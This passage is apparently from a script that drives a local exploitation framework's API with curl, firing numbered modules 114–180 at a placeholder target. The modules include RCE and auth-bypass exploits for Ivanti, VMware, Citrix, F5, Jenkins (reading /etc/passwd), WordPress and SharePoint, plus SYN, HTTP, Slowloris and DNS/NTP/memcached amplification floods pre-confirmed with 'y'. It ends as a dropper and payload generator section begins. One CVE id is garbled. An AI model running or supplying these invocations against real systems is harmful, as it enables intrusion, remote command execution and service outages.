curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/ivanti/ivanti_ics_auth_bypass_cve_2024_46352",
    "target": "192.168.1.1"
  }' | python3 -m json.tool

# ─── 114. Ivanti Neurons RCE CVE-2025-22460 ─────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/ivanti/ivanti_neurons_rce_cve_2025_22460",
    "target": "192.168.1.1"
  }' | python3 -m json.tool

# ─── 115. vCenter Backup RCE ─────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/vmware/vcenter_backup_rce",
    "target": "192.168.1.1",
    "prompts": { "port": "443" }
  }' | python3 -m json.tool

# ─── 116. vCenter File Read ──────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/vmware/vcenter_file_read",
    "target": "192.168.1.1",
    "prompts": { "port": "443" }
  }' | python3 -m json.tool

# ─── 117. vCenter RCE CVE-2024-37079 ─────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/vmware/vcenter_rce_cve_2024_37079",
    "target": "192.168.1.1"
  }' | python3 -m json.tool

# ─── 118. ESXi Auth Bypass CVE-2024-37085 ────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/vmware/esxi_auth_bypass_cve_2024_37085",
    "target": "192.168.1.1"
  }' | python3 -m json.tool

# ─── 119. ESXi VM Escape Check ───────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/vmware/esxi_vm_escape_check",
    "target": "192.168.1.1",
    "prompts": { "port": "443" }
  }' | python3 -m json.tool

# ─── 120. ESXi vSock Client ──────────────────────────────────────
# Prompts: port, mode (1=download, 2=upload, 3=exec), remote_path, local_path, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/vmware/esxi_vsock_client",
    "target": "192.168.1.1",
    "prompts": { "port": "21", "mode": "3", "command": "id" }
  }' | python3 -m json.tool

# ─── 121. CitrixBleed2 CVE-2025-5777 ─────────────────────────────
# Prompts: port, iterations
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/citrix/cve_2025_5777_citrixbleed2",
    "target": "192.168.1.1",
    "prompts": { "port": "443", "iterations": "3" }
  }' | python3 -m json.tool

# ─── 122. F5 BIG-IP RCE CVE-2025-53521 ──────────────────────────
# Prompts: target, port, command, save_results
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/f5/cve_2025_53521_f5_bigip_rce",
    "target": "192.168.1.1",
    "prompts": { "port": "443", "command": "id", "save_results": "n" }
  }' | python3 -m json.tool

# ─── 123. HPE OneView RCE CVE-2025-37164 ─────────────────────────
# Prompts: port, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/hpe/cve_2025_37164_hpe_oneview_rce",
    "target": "192.168.1.1",
    "prompts": { "port": "443", "command": "id" }
  }' | python3 -m json.tool

# ─── 124. SonicWall SMA RCE CVE-2025-40602 ──────────────────────
# Prompts: target, port, command, save_results
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/sonicwall/cve_2025_40602_sonicwall_sma_rce",
    "target": "192.168.1.1",
    "prompts": { "port": "443", "command": "id", "save_results": "n" }
  }' | python3 -m json.tool

# ─── 125. QNAP QTS RCE CVE-2024-27130 ───────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/qnap/qnap_qts_rce_cve_2024_27130",
    "target": "192.168.1.1",
    "prompts": { "port": "8080" }
  }' | python3 -m json.tool

# ─── 126. Trend Micro CVE-2025-5777 ──────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/trend_micro/cve_2025_5777",
    "target": "192.168.1.1",
    "prompts": { "port": "443" }
  }' | python3 -m json.tool

# ─── 127. Trend Micro CVE-2025-69258 ─────────────────────────────
# Prompts: target, port, mode (1=check, 2=exploit), dll_path (for exploit)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/trend_micro/cve_2025_69258",
    "target": "192.168.1.1",
    "prompts": { "port": "443", "mode": "1" }
  }' | python3 -m json.tool

# ─── 128. Trend Micro CVE-2025-69259 ─────────────────────────────
# Prompts: target, port, mode (1=check, 2=crash)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/trend_micro/cve_2025_69259",
    "target": "192.168.1.1",
    "prompts": { "port": "443", "mode": "2" }
  }' | python3 -m json.tool

# ─── 129. Trend Micro CVE-2025-69260 ─────────────────────────────
# Prompts: target, port, mode (1=check, 2=crash)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/trend_micro/cve_2025_69260",
    "target": "192.168.1.1",
    "prompts": { "port": "443", "mode": "2" }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# FRAMEWORK EXPLOIT MODULES (130-141)
# ═══════════════════════════════════════════════════════════════

# ─── 130. Apache Tomcat CVE-2025-24813 RCE ───────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/frameworks/apache_tomcat/cve_2025_24813_apache_tomcat_rce",
    "target": "192.168.1.1",
    "prompts": { "port": "8080" }
  }' | python3 -m json.tool

# ─── 131. Apache Tomcat CatKiller CVE-2025-31650 ─────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/frameworks/apache_tomcat/catkiller_cve_2025_31650",
    "target": "192.168.1.1",
    "prompts": { "port": "8443" }
  }' | python3 -m json.tool

# ─── 132. Apache Tomcat PUT RCE CVE-2025-24813 ───────────────────
# Prompts: port, scheme (http/https), command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/frameworks/apache_tomcat/cve_2025_24813_tomcat_put_rce",
    "target": "192.168.1.1",
    "prompts": { "port": "8080", "scheme": "http", "command": "id" }
  }' | python3 -m json.tool

# ─── 133. Exim ETRN SQLi CVE-2025-26794 ─────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/frameworks/exim/exim_etrn_sqli_cve_2025_26794",
    "target": "192.168.1.1",
    "prompts": { "port": "25" }
  }' | python3 -m json.tool

# ─── 134. HTTP/2 Rapid Reset CVE-2023-44487 ──────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/frameworks/http2/cve_2023_44487_http2_rapid_reset",
    "target": "192.168.1.1",
    "prompts": { "port": "443" }
  }' | python3 -m json.tool

# ─── 135. Jenkins 2.441 LFI ──────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/frameworks/jenkins/jenkins_2_441_lfi",
    "target": "192.168.1.1",
    "prompts": { "port": "8080" }
  }' | python3 -m json.tool

# ─── 136. Jenkins Args4j RCE CVE-2024-24549 ──────────────────────
# Prompts: target (required, e.g. http://jenkins:8080), filepath
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/frameworks/jenkins/jenkins_args4j_rce_cve_2024_24549",
    "target": "http://192.168.1.1:8080",
    "prompts": { "filepath": "/etc/passwd" }
  }' | python3 -m json.tool

# ─── 137. Jenkins CLI RCE CVE-2024-23897 ─────────────────────────
# Prompts: target (required, e.g. http://jenkins:8080), filepath
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/frameworks/jenkins/jenkins_cli_rce_cve_2024_23897",
    "target": "http://192.168.1.1:8080",
    "prompts": { "filepath": "/etc/passwd" }
  }' | python3 -m json.tool

# ─── 138. MongoBleed ─────────────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/frameworks/mongo/mongobleed",
    "target": "192.168.1.1",
    "prompts": { "port": "27017" }
  }' | python3 -m json.tool

# ─── 139. Nginx PWNer ────────────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/frameworks/nginx/nginx_pwner",
    "target": "192.168.1.1",
    "prompts": { "port": "80" }
  }' | python3 -m json.tool

# ─── 140. PHP CGI CVE-2024-4577 ──────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/frameworks/php/cve_2024_4577",
    "target": "192.168.1.1",
    "prompts": { "port": "80" }
  }' | python3 -m json.tool

# ─── 141. WSUS RCE CVE-2025-59287 ────────────────────────────────
# Prompts: port (8530=HTTP, 8531=HTTPS), command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/frameworks/wsus/cve_2025_59287_wsus_rce",
    "target": "192.168.1.1",
    "prompts": { "port": "8530" }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# WEB APPLICATION EXPLOIT MODULES (142-166)
# ═══════════════════════════════════════════════════════════════

# ─── 142. SharePoint CVE-2024-38094 ──────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/sharepoint/cve_2024_38094",
    "target": "192.168.1.1",
    "prompts": { "port": "443" }
  }' | python3 -m json.tool

# ─── 143. SharePoint ToolPane RCE CVE-2025-53770 ────────────────
# Prompts: port, scheme (http/https), command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/sharepoint/cve_2025_53770_sharepoint_toolpane_rce",
    "target": "192.168.1.1",
    "prompts": { "port": "443", "scheme": "https", "command": "whoami" }
  }' | python3 -m json.tool

# ─── 144. Roundcube PostAuth RCE ─────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/roundcube/roundcube_postauth_rce",
    "target": "192.168.1.1",
    "prompts": { "port": "443" }
  }' | python3 -m json.tool

# ─── 145. WordPress VitePOS CVE-2025-13156 ───────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/wordpress/vitepos_file_upload_cve_2025_13156",
    "target": "192.168.1.1",
    "prompts": { "port": "443" }
  }' | python3 -m json.tool

# ─── 146. WordPress Bricks RCE CVE-2024-25600 ───────────────────
# Prompts: target (required, full WordPress URL), command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/wordpress/wp_bricks_rce_cve_2024_25600",
    "target": "http://wp.example.com",
    "prompts": { "command": "system('"'"'id'"'"')" }
  }' | python3 -m json.tool

# ─── 147. WordPress LiteSpeed RCE CVE-2024-28000 ────────────────
# Prompts: target (required, full WP URL), max_attempts, admin_user, admin_pass
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/wordpress/wp_litespeed_rce_cve_2024_28000",
    "target": "http://wp.example.com",
    "prompts": {
      "max_attempts": "1000000",
      "admin_user": "rsploit_admin",
      "admin_pass": "Rspl0it!2024#"
    }
  }' | python3 -m json.tool

# ─── 148. WordPress Royal Elementor RCE CVE-2024-32suspended ─────
# Prompts: target (required, full WP URL), shell_filename, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/wordpress/wp_royal_elementor_rce_cve_2024_32suspended",
    "target": "http://wp.example.com",
    "prompts": { "shell_filename": "wpr_shell.php", "command": "id" }
  }' | python3 -m json.tool

# ─── 149. Flowise RCE CVE-2025-59528 ────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/flowise/cve_2025_59528_flowise_rce",
    "target": "192.168.1.1",
    "prompts": { "port": "3000" }
  }' | python3 -m json.tool

# ─── 150. Flowise CVE-2024-31621 ─────────────────────────────────
# Mass scan/single target. No prompts beyond target.
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/flowise/cve_2024_31621",
    "target": "192.168.1.1"
  }' | python3 -m json.tool

# ─── 151. Zabbix 7.0.0 SQL Injection ────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/zabbix/zabbix_7_0_0_sql_injection",
    "target": "192.168.1.1",
    "prompts": { "port": "80" }
  }' | python3 -m json.tool

# ─── 152. n8n RCE CVE-2025-68613 ────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/n8n/n8n_rce_cve_2025_68613",
    "target": "192.168.1.1",
    "prompts": { "port": "5678" }
  }' | python3 -m json.tool

# ─── 153. React2Shell ────────────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/react/react2shell",
    "target": "192.168.1.1",
    "prompts": { "port": "3000" }
  }' | python3 -m json.tool

# ─── 154. CraftCMS Key RCE CVE-2025-23209 ───────────────────────
# Prompts: port, scheme, security_key, admin_user, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/craftcms_key_rce_cve_2025_23209",
    "target": "192.168.1.1",
    "prompts": {
      "port": "443",
      "scheme": "https",
      "security_key": "",
      "admin_user": "admin",
      "command": "id"
    }
  }' | python3 -m json.tool

# ─── 155. CraftCMS RCE CVE-2025-47726 ───────────────────────────
# Prompts: port, scheme, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/craftcms_rce_cve_2025_47726",
    "target": "192.168.1.1",
    "prompts": { "port": "443", "scheme": "https", "command": "id" }
  }' | python3 -m json.tool

# ─── 156. Dify Default Creds CVE-2025-56157 ──────────────────────
# Checks for default PostgreSQL creds used by Dify AI.
# Prompts: port, username, password, database
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/dify/cve_2025_56157_dify_default_creds",
    "target": "192.168.1.1",
    "prompts": { "port": "5432", "username": "postgres", "password": "difyai123456", "database": "dify" }
  }' | python3 -m json.tool

# ─── 157. Langflow RCE CVE-2025-3248 ─────────────────────────────
# Prompts: port, scheme (http/https), command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/langflow_rce_cve_2025_3248",
    "target": "192.168.1.1",
    "prompts": { "port": "7860", "scheme": "http", "command": "id" }
  }' | python3 -m json.tool

# ─── 158. Laravel Livewire RCE CVE-2025-47949 ───────────────────
# Prompts: port, scheme, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/laravel_livewire_rce_cve_2025_47949",
    "target": "192.168.1.1",
    "prompts": { "port": "443", "scheme": "https", "command": "id" }
  }' | python3 -m json.tool

# ─── 159. MCPJam RCE CVE-2026-23744 ──────────────────────────────
# Prompts: port (3000), malicious_url, server_name
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/mcpjam/cve_2026_23744_mcpjam_rce",
    "target": "192.168.1.1",
    "prompts": { "port": "3000" }
  }' | python3 -m json.tool

# ─── 160. SAP NetWeaver RCE CVE-2025-31324 ───────────────────────
# Prompts: port (443=HTTPS, 50000=HTTP), scheme, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/sap_netweaver_rce_cve_2025_31324",
    "target": "192.168.1.1",
    "prompts": { "port": "443", "scheme": "https", "command": "whoami" }
  }' | python3 -m json.tool

# ─── 161. SolarWinds WHD RCE CVE-2025-40551 ──────────────────────
# Prompts: target, port (8443), command, save_results
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/solarwinds/cve_2025_40551_solarwinds_whd_rce",
    "target": "192.168.1.1",
    "prompts": { "port": "8443", "command": "id", "save_results": "n" }
  }' | python3 -m json.tool

# ─── 162. Spotube Exploit ─────────────────────────────────────────
# Prompts: malicious_name, track_id, codec, port, mode
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/spotube/spotube",
    "target": "192.168.1.1",
    "prompts": { "port": "17086", "mode": "1" }
  }' | python3 -m json.tool

# ─── 163. Termix XSS CVE-2026-22804 ──────────────────────────────
# Prompts: auth_port, file_port, username, password, ssh_host, ssh_port, ssh_user, upload_path
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/termix/termix_xss_cve_2026_22804",
    "target": "192.168.1.1",
    "prompts": {
      "auth_port": "3000",
      "file_port": "3001",
      "username": "admin",
      "password": "",
      "ssh_host": "127.0.0.1",
      "ssh_port": "22",
      "ssh_user": "kali",
      "upload_path": "/home/kali"
    }
  }' | python3 -m json.tool

# ─── 164. XWiki RCE CVE-2025-24893 ───────────────────────────────
# Prompts: port, scheme, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/xwiki/cve_2025_24893_xwiki_rce",
    "target": "192.168.1.1",
    "prompts": { "port": "8080", "scheme": "http", "command": "id" }
  }' | python3 -m json.tool

# ─── 165. ZTE ZXV10 H201L RCE / Auth Bypass ─────────────────────
# Prompts: port
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/zte/zte_zxv10_h201l_rce_authenticationbypass",
    "target": "192.168.1.1",
    "prompts": { "port": "80" }
  }' | python3 -m json.tool

# ─── 166. Zyxel CPE Command Injection CVE-2024-40890 ─────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/zyxel/zyxel_cpe_ci_cve_2024_40890",
    "target": "192.168.1.1",
    "prompts": { "port": "80" }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# DoS MODULES (167-179)
# WARNING: These modules perform denial-of-service attacks.
# Only use against authorized targets in controlled environments.
# Most require confirm="y" to proceed.
# ═══════════════════════════════════════════════════════════════

# ─── 167. Null SYN Exhaustion ────────────────────────────────────
# Prompts: target, port, source_port, spoof_ip, workers, duration, zero_interval,
#          payload_size, verbose, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/dos/null_syn_exhaustion",
    "target": "192.168.1.1",
    "prompts": {
      "port": "80",
      "spoof_ip": "n",
      "duration": "60",
      "verbose": "n",
      "confirm": "y"
    }
  }' | python3 -m json.tool

# ─── 168. TCP Connection Flood ───────────────────────────────────
# Prompts: target, ports, concurrency, timeout_ms, verbose, use_rst, send_payload, duration, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/dos/tcp_connection_flood",
    "target": "192.168.1.1",
    "prompts": {
      "ports": "80,443",
      "concurrency": "2000",
      "timeout_ms": "1000",
      "verbose": "n",
      "duration": "60",
      "confirm": "y"
    }
  }' | python3 -m json.tool

# ─── 169. Connection Exhaustion Flood ────────────────────────────
# Prompts: target, port, max_fds, workers, duration, timeout_ms, verbose, rst_on_close, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/dos/connection_exhaustion_flood",
    "target": "192.168.1.1",
    "prompts": {
      "port": "80",
      "workers": "2000",
      "duration": "60",
      "timeout_ms": "2000",
      "verbose": "n",
      "confirm": "y"
    }
  }' | python3 -m json.tool

# ─── 170. HTTP Flood ─────────────────────────────────────────────
# Prompts: target, port, path, method, concurrency, use_ssl, keepalive,
#          random_params, duration, verbose, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/dos/http_flood",
    "target": "192.168.1.1",
    "prompts": {
      "port": "80",
      "path": "/",
      "method": "GET",
      "concurrency": "1000",
      "use_ssl": "n",
      "keepalive": "y",
      "random_params": "y",
      "duration": "60",
      "verbose": "n",
      "confirm": "y"
    }
  }' | python3 -m json.tool

# ─── 171. Slowloris ──────────────────────────────────────────────
# Prompts: target, port, connections, keepalive_interval, use_ssl, duration, verbose, confirm
curl -s --max-time 600 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/dos/slowloris",
    "target": "192.168.1.1",
    "prompts": {
      "port": "80",
      "connections": "500",
      "keepalive_interval": "15",
      "use_ssl": "n",
      "duration": "300",
      "verbose": "n",
      "confirm": "y"
    }
  }' | python3 -m json.tool

# ─── 172. RUDY (R-U-Dead-Yet) ────────────────────────────────────
# Prompts: target, port, path, connections, content_length, interval, use_ssl, duration, verbose, confirm
curl -s --max-time 600 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/dos/rudy",
    "target": "192.168.1.1",
    "prompts": {
      "port": "80",
      "path": "/",
      "connections": "200",
      "use_ssl": "n",
      "duration": "600",
      "verbose": "n",
      "confirm": "y"
    }
  }' | python3 -m json.tool

# ─── 173. UDP Flood ──────────────────────────────────────────────
# Prompts: target, port, size, mode, spoof_ip, workers, duration, verbose, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/dos/udp_flood",
    "target": "192.168.1.1",
    "prompts": {
      "port": "53",
      "spoof_ip": "n",
      "duration": "60",
      "verbose": "n",
      "confirm": "y"
    }
  }' | python3 -m json.tool

# ─── 174. ICMP Flood ─────────────────────────────────────────────
# Prompts: target, size, spoof_ip, ttl, workers, duration, verbose, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/dos/icmp_flood",
    "target": "192.168.1.1",
    "prompts": {
      "spoof_ip": "n",
      "duration": "60",
      "verbose": "n",
      "confirm": "y"
    }
  }' | python3 -m json.tool

# ─── 175. SYN-ACK Flood ──────────────────────────────────────────
# Prompts: target, reflectors, reflector_port, workers, duration, verbose, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/dos/syn_ack_flood",
    "target": "192.168.1.1",
    "prompts": {
      "reflector_port": "80",
      "duration": "60",
      "verbose": "n",
      "confirm": "y"
    }
  }' | python3 -m json.tool

# ─── 176. DNS Amplification ──────────────────────────────────────
# Prompts: target (victim IP), resolvers, query_domain, workers, duration, verbose, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/dos/dns_amplification",
    "target": "192.168.1.1",
    "prompts": {
      "duration": "60",
      "verbose": "n",
      "confirm": "y"
    }
  }' | python3 -m json.tool

# ─── 177. NTP Amplification ──────────────────────────────────────
# Prompts: target (victim IP), servers, workers, duration, verbose, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/dos/ntp_amplification",
    "target": "192.168.1.1",
    "prompts": {
      "duration": "60",
      "verbose": "n",
      "confirm": "y"
    }
  }' | python3 -m json.tool

# ─── 178. SSDP Amplification ─────────────────────────────────────
# Prompts: target (victim IP), targets (reflectors), workers, duration, verbose, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/dos/ssdp_amplification",
    "target": "192.168.1.1",
    "prompts": {
      "duration": "60",
      "verbose": "n",
      "confirm": "y"
    }
  }' | python3 -m json.tool

# ─── 179. Memcached Amplification ────────────────────────────────
# Prompts: target (victim IP), servers (reflectors), workers, duration, verbose, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/dos/memcached_amplification",
    "target": "192.168.1.1",
    "prompts": {
      "duration": "60",
      "verbose": "n",
      "confirm": "y"
    }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# PAYLOAD GENERATOR MODULES (180-181)
# Old narutto_dropper / batgen / lnkgen / payload_encoder /
# polymorph_dropper modules were merged into the unified
# payloadgen + obfuscator modules below.
# ═══════════════════════════════════════════════════════════════

# ─── 180. PayloadGen (unified dropper / encoder generator) ────────
# Replaces narutto_dropper, batgen, lnkgen, payload_encoder,
# polymorph_dropper. Interactive multi-mode generator — pick which
# generator via "menu_choice" / "mode_raw" prompts.
